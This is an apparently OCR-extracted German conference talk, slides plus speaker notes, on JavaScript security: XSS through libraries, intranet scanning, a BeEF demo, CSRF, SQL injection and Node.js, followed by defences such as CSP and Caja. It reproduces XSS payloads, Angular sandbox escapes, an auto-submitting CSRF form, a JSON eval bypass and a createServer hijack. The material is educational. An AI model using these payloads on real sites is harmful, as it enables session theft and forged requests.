KXSS <div data-dojo-type="dojox/calendar/Calendar" data-dojo-props="startDate: new Date(2012, 0, 1), endDate: new Date(2012, 0, 9)" style="position:relative;width:500px;height:500px"></div> Wir haben ja schliesslich noch JavaScript Libraries. Und auf einmal gibt es Properties die Aktionen auslösen, die ich noch gar nicht kenne - zum Beispiel über Widgets. In HTML5 gibt es das auch, aber da triggern sie kein JavaScript, das eigene Lücken enthalten kann.
KXSS Vorher  galt:     Attribut  mit  on*  -­‐>  Triggert  JavaScript data-­‐dojo-­‐a<ach-­‐event Und das ist wichtig - denn vorher konnte man sich darauf verlassen, dass JavaScript nur über Events, also über Attribute, die mit on* beginnen getriggert wurde - und alles andere funktioniert automatisch.
KXSS Und nicht nur da spielen die Libraries eine Rolle. Wer setzt alles Jquery ein? (Jetzt sollten sich alle melden)
KXSS Da steht ja nicht umsonst „write less, do more“ drunter. Das passiert tatsächlich.
KXSS$() Das wird zum Beispiel mit der sehr mächtigen $() funktion gemacht, die abhängig von Inhalt unterschiedliche Dinge tut. Das erlaubt einem sehr schnell zu sein. Das ist cool.
KXSS$() Aber das bedeutet auch, dass man nicht immer weiss, was passiert. Und das ist ein Problem.
KXSS Sink: eine Funktion, die ein Risiko darstellt, wenn ihr nicht vertrauenswürdiger Input übergeben wird. In Security spricht man von einer Sink wenn man eine Funktion hat, die in einem Security-Problem resultiert, wenn sie fremde Daten bekommt oder die Daten nicht sanitized sind. SQL-Funktionen sind solche Sinks, wenn ich dort einen String direkt eingebe, dann wird er ungefiltert der Datenbank übergeben und kann SQL-Injections erzeugen. eine Multiplikationsfunktion wäre dementsprechend Risikofrei.
KXSS $()  ist  eine  Sink $("<img  src='dd'  onerror='alert(1)'>"); Und genau da kommt unser Problem her - $() ist eine Sink, und nicht jeder weiss es. Ich darf also $() nur validierten Input in die Hand geben. Quelle: https://www.owasp.org/images/9/95/JS_Libraries_Insecurity_-_Stefano_DiPaola.pdf
KXSS <div class="ng-app"> {{constructor.constructor('alert(1)')()}} </div> Ähnliche Probleme gibt es auch den meisten JavasScript-Template-Libraries, in diesem Fall Angular.js. Die Templates erlauben zwar kein direktes eval, aber Methodenaufruf mit Parametern - und wenn ich das so mache, habe ich faktisch auch wieder die möglichkeit zu evaluieren.
KXSS <div class="ng-app"> &#x7b;&#x7b;constructor.constructor('alert(1) ')()&#x7d;&#x7d; </div> Jetzt könnte man natürlich sagen: hej, dann filtern wir einfach auf {{ .. aber leider geht auch das in die execution.
KXSS <b data-ng-app data-ng- style="constructor.constructor('alert(1)')()" /> Und nicht nur direkt im Template-Text wird executed, wie bei Dojo kann ich auch direkt im Attribut JavaScript triggern.
KXSS Ok,  aber  
 ist  das  wirklich   ein  Problem? Da stellt sich natürlich die Frage - ist das wirklich ein Problem?
Browser  Security •kein  Zugriff  auf  das  Filesystem   •das  aktuelle  HTML-­‐Dokument  lesen  /  schreiben   •den  Browser  steuern   •mit  Plugins  interagieren   •Same-­‐Origin-­‐Policy:     •Freier  Zugriff  auf  Daten  vom  gleichen  Host   •kein  direkter  Zugriff  auf  andere  Hosts JavaScript  Sandbox Genau deshalb implementiert JavaScript eine Sandbox. Typische Fähigkeiten anderer Programmiersprachen - Dateien öffnen, Netzwerkverbindungen aufbauen, Schreiben - sind verboten.
KXSS Erkennung  der  Browser-­‐IP  per  WebRTC   nmap  für  Arme:  Host-­‐  und  Portscanning   über  Iframes,  Img-­‐Tags,  JavaScript,  ohne  JavaScript   über  Timing  von  <link>-­‐Includes:   <img src=“http://192.168.2.1:80/“ onError=“stoptimer(“192.168.2.1“, 80);“ /> Intranet
KXSS DicFonary-­‐A<acken  auf  das  Intranet   Erkennung  von  Devices  und  vorhandener   Logins  über  URLs   Breite  Angriffe  (zB  Drive-­‐By-­‐Pharming) Intranet
KXSS var  handle  =   window.requestAnimaFonFrame(callback);   Nutzen  um  die  Frame  Rate  auszurechnen   Über  -­‐moz-­‐element  iframe  als  vergrösserten   Background  für  ein  <div>  nutzen   teuren  Morphology-­‐Filter  über  einzelne  Pixel   legen  und  Frame  Rate  messen Pixel  Perfect  Timing
KXSS Pixel  Perfect  Timing http://www.contextis.com/files/Browser_Timing_Attacks.pdf Hier sehen wir wie das funktioniert - links oben der Originale frame, rechts das div mit der Kopie, unten links ein Frame mit Treshhold als Filter, und rechts unten ein einzelner Pixel - und über diesen wird die Framerate gemessen.
KXSS Geht  natürlich  auch  mit  view-­‐source:  urls  im   Chrome   Framebuster/  X-­‐Frame-­‐OpFons  schützen   Facebook-­‐Comments/Likes  wollen   embedded  werden   OCR  funkFoniert. Pixel  Perfect  Timing
KXSS Beef! 1. Neuer Browser http://whatismyipaddress.com IP notieren 2. Blog-URL http://blog.mayflower.de 3. in http://beef.mayflower.de/ui/panel einloggen 4. Links die Zombies zeigen 5. Rechts Log zeigen 6. Meine IP raussuchen 7. Detail-Seite vorstellen - alles, was einfach ohne tricks über JavaScript zu ermitteln ist, quasi Browser Capabilities 7. Rider Nutzung des Fremden Browsers als Proxy- auf der gehijackten Domain, weil Same Origin 8. Commands Browser Domain 8.1 get cookie -> session riding mit login 8.2 get page hrefs 8.3 alert dialog 8.4 Full Page Rickroll 8.5 Webcam Permission check - interesting domains 8.6 Host - Get internal IP 8.7 DOSer 8.9 Persistence - create popunder. 9.0 Phonegap & Extension exploits
CXSSExtensions,     &  HTML5   &  Phonegap Da sind wir auch gleich beim nächsten Thema - HTML / XSS jenseits des Browsers.
CXSS FakFsch:  HTML5-­‐ApplicaFons Extensions h<p://de.slideshare.net/kkotowicz
CXSSExtensions Pro  Domain*  Sonderrechten:   chrome.tabs   chrome.bookmarks   chrome.history   chrome.cookies
CXSSExtensions Pro  Domain*  Sonderrechten:   chrome.tabs   chrome.bookmarks   chrome.history   chrome.cookies 40%   h<p://*/*   h<ps://*/*
CXSSExtensions Halten  sich  inzwischen  an  Content   Security  Policy Aber:  diverse  eval()s  in  Libraries     (mustache,  underscore,  jQuery  template)
CXSSExtensions Resultat:     Voller  Zugriff  auf  alle  Seiten  im  Browser   Inkl.  Cookies  und  Logins   Facebook,  GMail,  Twi<er,  ...
CXSSHTML5 <input  type=file  directory> Das neue Directory-Attribute im Chrome erlaubt vollen Lesezugriff auf das Verzeichnis, nachdem es ausgewählt wurde. Einfach Download anbieten, „Download to Folder“-Button machen - und schon hat man Zugriff auf das ganze Verzeichnis.
CXSSHTML5 Alte  Bugs  in  neuen  VariaFonen:   <input  onfocus=alert(1)  autofocus>   <input  onblur=alert(1)  autofocus><input  autofocus>   <form  id=test  onforminput=alert(1)>   <bu<on  form=test  onformchange=alert(2)>   <bu<on  form=test  onformchange=alert(2)>   <math  href="javascript:alert(1)">CLICKME</math> Und natürlich werden alle alten Blacklistfilter durch neue Attribute und Tags ausgetrickst.
CXSSPhonegap Bzw.  Apache  Cordova:     HTML5/JS-­‐Apps  für  beliebige  Environments. Wer kennt Phonegap? Das ist ein Framework das von Adobe gekauft wurde, zeitgleich aber auch im Source der Apache Foundation übergeben wurde. Faktisch handelt es sich um eine Browser-Komponente, die die Funktionalität der Umgebung für JavaScript bereitstellt.
CXSSPhonegap Gilt  auch  für  MoSync,  Web  Marmalade,   appMobi,  BlackBerry  WebWorks  ... Die Prinzipien dahinter gelten nicht nur für PhoneGap, sondern auch für MoSync, WebMarmalade etc.
CXSSPhonegap !Same  Origin  sondern  Local  Permissions   CapabiliFes  über  Permissions:   Camera,  Audio,  Contacts,  Files,  GeolocaFon,   Media,...
 Alle  CapabiliFes  der  App  in  XSS  nutzbar Die Fähigkeiten sind bei Android Install-Time, bei Apple bei First-Use. Bei Microsoft gibt es Fähigkeiten, die sehr viele Themen auf einmal betreffen.
CXSSPhonegap „Hybrid  Apps“   Web  +  Mobile Viele der mobilen Apps und insbesondere der grössere Teil der Phonegap-Apps sind hybride Apps. Sie haben nicht nur einen lokalen Teil, sondern auch einen Web-Anteil - denn dorther kommen Daten, HTML und viele andere Dinge.
CXSSPhonegap „Hybrid  Apps“   Beispiel:  Adbroker   App  &  Same-­‐Origin-­‐Security Das gemeine bei diesen Hybrid Apps ist, dass man ihnen in Wahrheit nicht traut - konkret hat man zB keine Ahnung, was der Adbroker so treibt. Und man will ihm und seinem JavaScript auch keinen Zugriff auf die Webcam geben, auch wenn das die Applikation eigentlich darf. Deshalb gibt es meistens einen Iframe-Komponente, in der sowas läuft.
CXSSPhonegap „Fracking“ Mit Fracking bezeichnet man es wenn in hybriden Apps Webapplikationen in den lokalen Scope kommen und damit mit den lokalen Rechten arbeiten können. Dazu gibt es ein dickers Paper aus dem Februar, das eine Vielzahl von Vektoren pro Plattform bereitstellt.
CXSSPhonegap 7167  Apps   3328  Hybride   407  Apps  zB  Geodata     an  >  20  Parteien Die Jungs haben automatisiert 7167 Phonegap-Apps im Android-AppStore gefunden und analysiert. Davon waren 3328 Apps Hybride Apps, und von denen haben mehr als 12% Rechte auf die Geo-Lokalisation gehabt und Zugriff von mehr als 20 Parteien erlaubt.
CXSSPhonegap User-­‐Content  mit  XSS:   WTF:  XSS  PrevenFon  ist  Blackberry  Only  
CXSS Are  we  done   now,  please? Sind wir jetzt endlich mit den ganzen Security Problemen durch? Wer meint wir wären durch? Genau, jetzt kommen wir erst zu den Highlights.
hJSON JavaScript  Object  Notaoon   „Hey,  it‘s  Data  and  Code!“   JSON, die JavaScript Object Notation. Wer wendet es alles an? Warum ist das so charmant? Weil es gleichzeitig ein Datenformat ist, das aber direkt als Code angewandt werden kann - erinnert das jemanden an etwas? Man muss es also nur in ein Eval() kippen? Wer der anwesenden macht das mit JSON?
hJSON A JSON text can be safely passed into JavaScript's eval() function (which compiles and executes a string) if all the characters not enclosed in strings are in the set of characters that form JSON tokens. This can be quickly determined in JavaScript with two regular expressions and calls to the test and replace methods. var my_JSON_object = !(/[^,:{}[]0-9.-+Eaeflnr-u nrt]/.test( text.replace(/"(.|[^"])*"/g, ''))) && eval('(' + text + ')'); h<p://www.ie‰.org/rfc/rfc4627.txt: JSON wird in der RFC 4627 definiert. Dort steht auch drin, dass man es direkt evaluieren kann. Wenn man vorher zwei Regex dagegen wirft. Dann geht das in Ordnung. Also nicht einfach nur Eval, sondern vorher evaluieren
hJSON // Courtesy of Eduardo `sirdarckcat` Vela Nava +{ "valueOf": self["location"], "toString": []["join"], 0: "javascript:alert(1)", length: 1 } Und das ist der String, der trotzdem durchkommt. Von Sirdarckcat, heute Mitarbeiter von Google.
hJSON Danke,  Internet  Explorer. Glücklicherweise gibt es nur einen Browser, der das als Code sieht - leider ist er immer noch an Platz 2 der Browserstatistik. Selbst die RFC konnte nicht vorhersehen, was der Browser alles als JavaScript interpretiert.
M TyposquaŠng   XSS 1.  Registrier  die  Domain  googlesyndicaFo.com   2.  Erzeuge  ein  file  h<p://pagead2.googlesyndicaFo.com/ pagead/ads   3.  12.000  Aufrufe  pro  Tag   4.  Beefproject  FTW Und noch eine letzte Geschichte aus der Kategorie „Man glaubt es nicht:“ Die Jungs von der Security-Firma Securitee haben im Sommer einfach mal die Domain googlesyndicatio.com reserviert - so wie die alte Google-Ads- Domain, vor vielen, vielen Jahre,nur mit einem Typo. Da haben sie dann ein Script abgelegt.
ZXSS How  to  fix  it. Ok, so langsam können wir ja auch mal schauen, wie man das ganze Repariert.
Escaping HTML: htmlEscape JavaScript Strings: javascriptEscape JavaScript Values: whitelist Attribute/Event Names: whitelist Attribute Values: javascriptEscape Urls: htmlEscape WYSIWYG: AntiSamy,JSOUP Hier habe ich mal gesammelt, was die Methoden der Wahl sind beim Einsatz von Spring MVC. Es gibt auch XSS-Blacklisting-Filter oder Web Application Firewalls. Wer setzt hier einen Blacklisting-Filter ein? Wir kommen noch dazu, warum die nicht helfen können.
Zuse  strict; „Einfacher“  sicheres  JS  schreiben   Ecmascript  5  (>=  ie8  toleriert)   "use  strict“;
 Global  oder  in  einer  FunkFon Das erste kommt netterweise mit der Sprache,und sogar mit einer ziemlich gut verfügbaren Variante von Javascript, nämlich Ecmascript 5. Das heisst: alle modernen Browser, IE aber erst ab 10. Allerdings tolerieren IE8 und IE9 den Syntax, es schadet also nicht, es dort schon zu aktivieren. Man macht es an indem man es schlicht an den Anfang des Scriptes - oder an den Anfang der Funktion legt. Achtung: wer lässt seine javascript-files automatisch zusammenfassen?
Zuse  strict; Bad  Syntax  
 =     Real  Errors Wie erreicht use strict das? Es macht typische Fehler in der Programmierung zu wirklichen Fehlern. Und sorgt damit dafür, dass sie nicht mehr passieren.
Zuse  strict; Verboten:   undeklarierte  Variablen  (DOM-­‐Clobbering)   mehrfache  ProperFes/Parameter   schreiben  von  readonly-­‐/getonly-­‐ ProperFes   „with“   „this“  in  FunkFonen Undeklarierte Variablen dürfen nicht mehr genutzt werden.
ZEcmascript  6:   Aller  Code  in  „class“  ist  strict  by  default   Aller  Code  in  module  ist  strict  by  default use  strict;
ZSFchprobe  npmjs.org:     ~1%  aller  JS-­‐Dateien  enthalten  use  strict. use  strict;
Z Tamper-­‐Proof   Objects Ecma  5.1:  Objekte  vor  ModifikaPonen  schützen   point  ={x:1,y:2};   Object.preventExtensions(point);
 Object.seal(point)  ;   Object.freeze(point); Demo: point = {x:1,y:2}; point.z = 1; Object.preventExtensions(point); point.a = 1; delete(point.z); Object.seal(point) ; delete(point.y); Object.freeze(point); point.y=5;
Z Tampering
 Tamper-­‐Proof   Objects Object.freeze  =  funcFon(ob){return  ob};
 Demo: point2={x:1,y:2}; Object.freeze = function(ob){return ob}; Object.freeze(point2); point2.x = 12; point2
Z Tampering
 Tamper-­‐Proof   Objectsrequire.js:   (funcFon  (global)    {   var  …op  =  Object.prototype,                            ostring  =  op.toString,  …
 
 Object.prototype.toString=funcFon()   {alert(1);};   Das gleiche gilt natürlich für alle Properties, die innerhalb der Methoden genutzt werden - denn die dort aufgerufenen Methoden können bereits manipuliert sein.
Z Ecmascript  6   Proxies function makeLogger(target) { var proxy = new Proxy(target, { get: function(target, name) { return target[name]; }, set: function(target, name, val) { return target[name] = val; }, }); return proxy; } Neben Strict, Modules und Classes gibt es noch ein Feature, das Sicherheit erlaubt - und zwar proxies. Ich kann globale Objekte einfach in so einen Proxy umlenken, und anhand des Proxies dann alle Zugriffe kontrollieren.
Z Ecmascript  6   Proxies Logging  aller  Zugriffe   Temporärer  Zugriff   Access  Control Und das kontrollieren bedeutet nicht nur Logging, sondern ich kann damit auch den Zugriff kontrollieren. Der Caller einer Methode ist glücklicherweise nicht überschreibbar, und damit kann ich explizit und individuell dem JavaScript unterschiedliche Rechte einräumen.
ZKann  man  überhaupt  sicher   arbeiten,  wenn  man     fremdes  JavaScript  zulässt?   3rd  Party     JavaScript Es ist also wirklich schwer, JavaScript sicher zu nutzen, wenn man anderen Leuten Zugriff auf JavaScript gibt. Gibt es überhaupt eine Möglichkeit das zu machen?
Z 3rd  Party     JavaScript Das Problem hatte diese Firma auch. Die erlaubt sowohl bei Google Sites als auch bei Google Docs fremdes JavaScript. Und sie wollen natürlich weder einen Wurm noch irgendetwas ähnliches auf der Plattform.
Z 3rd  Party     JavaScript Google  „Caja“     Compiler  für  JavaScript   Erzeugt  sicheres  JS Und sie haben es ziemlich elegant gelöst mit Google Caja. Google Caja compiliert vorhandenes JavaScript in sicheres Javascript.
Z 3rd  Party     JavaScript Secure  JavaScript   Subset(SES)   Dom-­‐Wrapper  Domado   HTML/CSS-­‐SaniFzer Und wie machen die das? Zunächst einmal erlauben die nur ein kleines Subset von JavaScript selbst. Dann wird DOM komplett gewrappt, um die Zugriffe zu beschränken, und zuletzt wird alles HTML & CSS durch einen Sanitizer gejagt, damit damit nicht noch unsauberes JavaScript eingeführt wird.
Z 3rd  Party     JavaScript <script  src=“startSES.js”></script>   Friert  alle  wichFgen  Objekte  ein   whitelisted  wenige  Objekte   Modifiziert  eval/funcFon  für  strict  only Das Secure JavaScript kann ich sogar selbst nutzen - indem ich startSES aus dem Caja-Projekt schlicht an den Anfang meines JavaScript stelle. Damit habe ich dann automatisch ein Environment, indem javascript nicht mehr alles modifizieren kann.
ZXSS Wie  kann  ich  das  selbst  nutzen? Aber natürlich hat nicht jeder ein Environment, indem man konsequent use strict voraussetzen kann. Was macht man also in dem Fall?
ZXSS “Use  strict;“  
 
 in  allen  neuen  FunkFonen  oder  Libraries. In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
ZXSS Im  bestehenden  Code  en‰ernen:   *.innerhtml  ändern   eval();   JSON  in  eval();   document.write(); In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
ZXSS Ebenfalls  en‰ernen:  
 Inline  <script>-­‐Javascript   -­‐>  Auslagern   -­‐>  Komprimieren In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
ZXSS En‰ernen:   on-­‐Events   Explizit  binden:     $('#main').bind("click",  funcFon(e)  {  alert(1)  }); In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
ZXSS Libraries:   Alte  Libraries  (json.js,  jquery)  updaten   h<p://bekk.github.io/reFre.js/   Auch  wenn  Google  sie  noch  hostet  ... Alte Libraries sollten tatsächlich aktualisiert werden.
ZXSS JQuery  modernisieren:     Niemals  untrusted  Input  in  die  Sinks...     JQuery(),  $(),  $().html,  $().before(),  
 $().ader,  $().prepend,  $().append Bei Jquery sollte man wissen, welchen Funktionen man trauen kann und welchen nicht - also welche Sinks sind und welche nicht. All diese Funktionen sollte nicht mit User-Input gefüttert werden.
ZXSS Server-­‐InterakFon:     Korrekt  escapen:
 Urls  mit  EncodeURI   HTML  zB  mit  JsHtmlSaniFzer   Whitelists  !
ZXSS Content-­‐Security-­‐Policy:  script-­‐src  ‘self‘   X-­‐Content-­‐Security-­‐Policy:  script-­‐src  ‘self‘   X-­‐WebKit-­‐CSP:  script-­‐src  ‘self‘ Header Der erste Header ist für neue Firefox und Chrome, der zweite für alte Firefox und IE10, der dritte für Webkit. Achtung: die machen in der Konfiguration alle schlechte JS-Libraries wie etwa jquery kaputt, weil diese eben eval() brauchen - und das wird hier deaktiviert.
ZXSSHeader
ZXSSHeader Whitelist  für  externe  Inhalte   Defence  in  depth CSP ist ein Konzept um das Einschleusen von externen Daten in die eigene Website zu verhindern. Die CSP erzwingt eine strikte Trennung von Inhalten (HTML) und externen Dateien (CSS, JS) Ursprünglich wurde die CSP von der Mozilla Fondation entwickelt. 2012 wurde es als W3C-Draft in die Arbeitsgruppe zur Sicherheit von Webanwendungen aufgenommen. CSP ist ein Whitelist-Filter. Auf die Whitelist kommen alle Resourcen bei denen man weiß das diese "gut" sind. CSP ist kein Allheil mittel. Nur eine zusätzliche Art der Verteidigung. Nutzerinteraktionen sollen weiterhin validiert & escaped werden!
ZXSSHeader <scrip>alert(‚XSS')</script>   setTimtout("[code]",  1),  setInterval(….)   eval()   on-­‐events   Es ist nicht nur eine reine Whitelist. Wird der CSP Header mitgeschickt, werden einige "Features" per Default deaktiviert: Inline JS muss in ein externes JS File ausgelagert werden, welches von einer Vertrauenswürdigen Domain bereitgestellt weurd. EVAL wird komplett geblockt. Die kann bei älteren jQuery Versionen zu problemen führen. Mit der "unsafe-eval" Direktive kann die Funktion wieder aktiviert.
ZXSSHeader on-­‐events   <a  href="javascript:(.....);">   <img  src="not-­‐exisFng"  onError="document.createElement('script')(...)"  > ON/DOM event Attribute wie in onClick, onError, etc, werden geblockt. Diese müssen durch extern registrierte Eventhandler ersetzt werden. Selbes gilt für <a> tags mit einem href Attribut das mit "javascript:" startet. Der ganze JS Code muss in externen Files müssen von einer Whitelisted Domain geladen werden.
ZXSS Content-­‐Security-­‐Policy:  default-­‐src  ‘self‘   <img  src=“bla“  onerror=alert(1)>   Content-­‐Security-­‐Policy:  default-­‐src  ‘self‘  ‘unsafe-­‐inline‘   <img  src=“bla“  onerror=alert(1)> Header man kann es aber gezielt, etwa für die eigenen Domain oder den JS-CDN seines vertrauens wieder aktivieren.
ZXSS default-­‐src,  script-­‐src,  object-­‐src,  style-­‐src,  img-­‐src
 media-­‐src,  frame-­‐src,  font-­‐src,  connect-­‐src,  form-­‐acoon   sandbox,  script-­‐nonce,  plugin-­‐types,  reflected-­‐xss,  report-­‐uri   h<p://www.cspplayground.com Header http://www.cspplayground.com
ZXSS Content-­‐Security-­‐Policy:     default-­‐src  'self';     img-­‐src   *;     object-­‐src    cdn1.mayflower.de           cdn2.mayflower.de           *.staFc.mayflower.de;     script-­‐src   trustedscripts.mayflower.de Hier sehen wir eine Sequenz von Direktiven. default-src = Erlaube mir per Default Resourcen von meinem eigenen Origin zu laden Für unterschiedliche Resource Typen kann man diese spezifisch definieren bzw. die default Policy überschreiben. img-src = Bilder sind von überall erlaubt. Vielleicht möchte ich das ein oder andere hässliche Bild blockenm, aber okay. Damit kann man leben. img-src beinhaltet nicht nur <img> Tags, sondern auch Bilder die im CSS geladen werden. object-src or embedded tags = Diese möchte ich nur von meinen zwei CDNs erlauben. script-src = scripts Wie werden diese vom Browser verarbeitet? Angenommen ich bring einen Typo rein. Greift dann alles ausser meine Typo definition? Zuerst werden immer die Defaults hergenommen und von allen weiteren Direktiven überschrieben. Mann könnte auch anstatt der Sequenz jede Direktive in einem einzelnen Header senden. In diesen Beispiel wären dass 6 Header.
ZXSS h<ps://xato.net/x/csp.php   h<ps://xato.net/x/csp.php?view=1   h<ps://xato.net/x/csp.php?view=2 Header Genug von der Theorie, sehen wir uns das ganze in der Praxis an…
ZXSSHeader Edge cases. Wir wollen ein Analytics Tool unserer Wahl integrieren. Es verlangt Inline Script. Wie soll ich damit umgehen?
ZXSS script-­‐src  ‘self‘  ‚nonce-­‐NoTi6ZbOPuktvl’   <script  nonce=“NoTi6ZbOPuktvl“>   //  inline  js   </script>   Header
ZXSS CSP  nachrüsten:     Content-­‐Security-­‐Policy-­‐Report-­‐Only:  script-­‐src  'self';                                                                            report-­‐uri  /csp-­‐report-­‐endpoint/   Header Wie geh ich damit in der Entwicklung um? Wie rüste ich die CSP nach? Dazu gibt es diesn Header. Um die Auswirkungen einer aktivierten CSP zu sehen, setzt man diesen und bekommt einen Report über die report-uri.
ZXSSReport:   {      "csp-­‐report":  {          "document-­‐uri":  "hgp://example.org/page.html",          "referrer":  "hgp://evil.example.com/",          "blocked-­‐uri":  "hgp://evil.example.com/evil.js",          "violated-­‐direcove":  "script-­‐src  'self'  hgps://code.jquery.com",          "original-­‐policy":  "script-­‐src  'self'  hgps://code.jquery.com;  report-­‐uri   hgp://example.org/my_amazing_csp_report_parser"      }   } Header Wie geh ich damit in der Entwicklung um? Wie rüste ich die CSP nach? Dazu gibt es diesn Header. Um die Auswirkungen einer aktivierten CSP zu sehen, setzt man diesen und bekommt einen Report über die report-uri.
ZXSS CSP  deakFvieren:     <meta  h<p-­‐equiv="Content-­‐Security-­‐Policy"   content="default-­‐src  'none'">   injecten. Header Und mit einer HTML-Injection kann ich das ganze dann doch wieder aktivieren … Das ganze funktioniert auch mit einer Injection in der Runtime.
ZXSS X-­‐XSS-­‐ProtecFon:  1;  mode=block   X-­‐FRAME-­‐OPTIONS:  DENY   Header Der Internet Explorer hat sich noch mehr Features einfallen lassen, dafür wollte er ja auch zunächst nicht bei der Content-Security-Policy mitmachen. X- XSS-Protection macht ein lustiges Filtering von Eingaben und Ausgaben und adressiert vor allem Reflektive XSS. Ich kann also nicht mehr nach <script> auf google suchen, wenn das aktiv wäre. X-Frame-Options sind wiederum gut, um Clickjacking-Attacken systematisch zu stoppen, sollte man also machen, wenn man nicht partout eingebettet werden muss.
fCSRFCross  Site     Request  Forgery „Sea  Surf“ „Anfragenfälschung“ Aber es gibt nicht nur XSS, die eine Rolle bei JavaScript-Applikationen spielen. Die zweite Klasse von Bugs, die durch die defekte Architektur von Browsern entstehen. Wenn ich mit meinem Browser auf Google Mail angemeldet bin, dann gilt diese Anmeldung auch für die anderen Tabs im Browser - sie können zwar nicht die Daten lesen, aber wenn ich aus meinem evil.com einen Request mit der Formaction Richtung Google abschicke, dann kommt die dort mit der Authentifizierung - sprich dem Cookie - meines Browsers an.
fCSRF <img src="http://mysite.com/vote/30" /> Das ist die einfachste Variante für eine CSRF-Attacke. Der Klassiker, ein Online-Poll, bei dem jede IP nur einmal abstimmen darf. Und ich habe auf einer Seite mit viel Traffic einfach dieses Bild eingebunden - und bekommen im Gegenzug sehr viele Stimme.
fCSRF <form id=“a“ action=“/examplePage.do" method="POST"> <input type=text name=“product"/> <input type=text name="amount"/> <input type=checkbox name=„AGB_OK“ value="yes"/> <input type=text name="submit" id="submit" value="Continue"/> </form> Das geht aber nicht nur per GET, das geht natürlich auch per POST. Stellen wir uns mal vor, dass wir so ein Formular auf der Seite haben. Der Nutzer hat sich hier im Shop bereits eingeloggt, es gibt also eine gültigen Cookie.
fCSRF<html><body onload=„document.createElement('form').submit.call(docu ment.getElementById('a'))"> <form id=“a“ action=“/examplePage.do" method="POST"> <input type=text name=“product" value="Porsche"/> <input type=text name="amount" value="1"/> <input type=text name=„AGB_OK“ value="yes"/> <input type=text name="submit" id="submit" value="Continue"/> </form></body></html> Da brauche ich auf der Angreiferseite nur das ein Formular mit den gleichen Daten, das automatisch abgeschickt wird.
fCSRFCross  Site     Request  Forgery Schutzmaßnahmen:   Referercheck  (nicht  ausreichend)   Token-­‐AuthenFfizierung Gegen Cross Site Request Forgery schützt man sich in ganz schlecht mit einer Verlagerung von GET auf POST, in etwas weniger schlecht mit einem Referer- Check, den man mit etwas geschick umgehen kann, und korrekt mit einer Token-authentifizierung, der mit dem Formular mitgeliefert wird und nur meinem Client und dem Server bekannt ist.
fCSRFCross  Site     Request  Forgery Jeder  XSS  boykoŠert  
  CSRF-­‐ProtecFon Da kommen wir aber auch gleich zu unserem Problem - wenn meine Seite einen XSS enthält, dann kann genau dieser Token bequem ausgelesen werden - und dadurch ein falscher Request hergestellt werden, und im Browser des Clients angeschickt werden. Der XSS muss noch nicht einmal auf der Korrekten Seite sein - das Formular mit dem Token kann ich dank Same Origin Policy ja auch direkt mit xmlhttprequest auslesen.
l SQLSQL-­‐InjecFons Nutzerinput  wird  ungefiltert  an  die   Datenbank  gegeben. Und hier auch gleich das nächste Thema - SQL Injections. Die spielen bei JavaScript-Applikationen natürlich nur Serverside eine Rolle, wenn etwa Node.js als Webserver genutzt wird und ein MySQL dahinter stattfindet.
l SQLSQL-­‐InjecFons INSERT INTO TABLE STUDENTS (Id, Name) 
 VALUES (1337, ‘Johannes‘); Zum Beispiel trägt sich Johannes als Teilnehmer auf den JavaScript Days ein, und wird dort in die Datenbank geschrieben.
l SQLSQL-­‐InjecFons
l SQLSQL-­‐InjecFons INSERT INTO TABLE STUDENTS (Id, Name) 
 VALUES (1337, ‚Robert‘); DROP TABLE students; -- ); Und das war die Query, die in diesem Cartoon abgeschickt wurde.
l SQLSQL-­‐InjecFons Parameter  Binding! INSERT INTO TABLE STUDENTS (Id, Name) 
 VALUES (1337, ‘Johannes‘); Die typische Antwort auf SQL-Injections ist Parameter Binding. Das funktioniert auch in der Tat, denn hier kann ich den Syntaktischen Scope nicht mehr verlassen. Die liegen nämlich nicht mehr im String, sondern an anderer Stelle. Ein Verlassen des Value-Scopes ist nicht mehr möglich, denn im SQL-String gibt es nur noch einen Pointer, der auf den Value-Record zeigt.
l SQLSQL-­‐InjecFons Reicht  Parameter  Binding      aus? Und das war die Query, die in diesem Cartoon abgeschickt wurde.
l SQLSQL-­‐InjecFons Parameter  Binding?! http://tld.com/students?sortby=name&sortorder=ASC SELECT * FROM students ORDER BY name ASC Genau an dieser Stelle geht Parameter Binding nicht mehr.
l SQLSQL-­‐InjecFons WhitelisFng   ORM  des  Vertrauens Die Lösung dafür ist entweder ein konsequentes Whitelisting - Gerüchten zufolge gibt es nur 2 Sortierrichtungen und meist begrenzt viele Spalten - oder man überlässt es seinem ORM.
ZNode.js Node.js  Security
ZNode.js Viele  Sinks:   eval(),ChildProcess.*,  Cluster.*,fs.*,   h<p.*,  net.*,  process.*,  dgram.*   Zugriff  auf  Netzwerk,  Filesystem,   Prozesse   In node.js gibt es sehr viele Funktionen, die Probleme erzeugen können, wenn ihnen unvalidierter Code übergeben wird. Natürlich gibt es diese Funktionen auch in allen anderen Sprachen, aber bei JavaScript ist man sie bisher nicht gewohnt - und achtet dementsprechend weniger auf die Risiken dahinter.
ZNode.jshttp.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Hello Worldn'); }).listen(1337, '127.0.0.1'); console.log('Server running at http://127.0.0.1:1337/'); Und wir haben die klassischen JavaScript-Probleme - diesen Code kennt vermutlich jeder, mit ihm erzeuge ich einen neuen node-basierten HTTP-Server. Aber weil es JavaScript ist, kann ich mit einer Code Injection die vollständige Infrastruktur der Sprache boykottieren.
ZNode.js var http = require('http'); oldfunc = http.createServer; http.createServer=function (myfunc) { console.log('Hijacking createServer'); newfunc = function (req, res) { result = myfunc(req, res); console.log('MITM Request:'); console.log(req); console.log('MITM Response:'); console.log(res); return result; } return oldfunc(newfunc); } Und das ist der Code, mit dem ich Create-Server so umschreibe, dass ich ich allen Verkehr zu einer dritten Partei umleiten kann. Genauso wie ich window.alert umschreiben kann kann ich auch http.createServer umschreiben.
